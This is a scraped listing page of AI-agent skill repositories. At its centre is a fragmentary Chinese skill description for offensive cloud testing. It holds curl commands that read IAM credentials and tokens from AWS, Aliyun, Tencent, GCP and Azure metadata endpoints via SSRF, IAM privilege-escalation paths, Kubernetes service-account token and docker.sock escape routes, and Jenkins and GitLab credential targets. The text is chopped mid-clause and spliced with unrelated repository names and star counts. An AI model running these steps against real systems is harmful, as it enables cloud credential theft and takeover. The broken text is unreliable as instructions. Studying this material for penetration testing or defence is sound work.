agent-security-hardening
AFaffaan-m/ECC314k4,125 new stars in the last 7 days
目标使用云服务/容器/K8s,或拿到云凭据(AK/SK/Token)、发现 SSRF 与元数据服务时调用——云元数据利用、STS/IAM 提权、对象存储、K8s 逃逸、CI/CD 凭据链。
http://169.254.169.254/latest/meta-data/iam/security-credentials/(IMDSv1);
IMDSv2 需 PUT 拿 token:TOKEN=$(curl -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds:21600' http://169.254.169.254/latest/api/token);http://100.100.100.200/latest/meta-data/(含 ram/security-credentials);http://metadata.tencentyun.com/latest/meta-data/;http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token(需 Metadata-Flavor: Google);http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/(需 Metadata: true);aws sts get-caller-identity),只读验证,不写不删。aws configure 后 aws sts get-caller-identity → aws iam list-users/list-attached-user-policies;
S3:aws s3 ls、aws s3 cp s3://bucket/file -(只读样本);aliyun sts GetCallerIdentity、aliyun oss ls(用 ossutil);?prefix=&max-keys=10);未授权列举/下载属 L3;iam:PassRole + ec2:RunInstances(需谨慎,可能创造成本);iam:CreatePolicyVersion / AttachUserPolicy 自提权;Principal: *);云上写操作一律禁止;最多
simulate-principal-policy验证权限面。
/var/run/secrets/kubernetes.io/serviceaccount/token、env | grep -i kube;kubectl --token=<t> --server=https://kubernetes.default.svc auth can-i --list;hostPath 挂载、hostPID/hostNetwork、docker.sock 挂载
(/var/run/docker.sock 可列出宿主容器);docker history);/script 未授权、/computer/(master)/script、凭据绑定(credentials 页面);/api/v4/projects 未授权、runner token;pull_request_target 注入、workflow 里的 secrets 引用;.npmrc/pip.conf 指向的内网源。AFaffaan-m/ECC314k4,125 new stars in the last 7 days
Audit the whole repo: find bugs, security holes and performance bottlenecks. Get a ranked report in plain English.
DIDietrichGebert/ponytail202k4,780 new stars in the last 7 days
GAgarrytan/gstack143k636 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills122k1,627 new stars in the last 7 days
ADaddyosmani/agent-skills122k1,627 new stars in the last 7 days
RUruvnet/RuView106k693 new stars in the last 7 days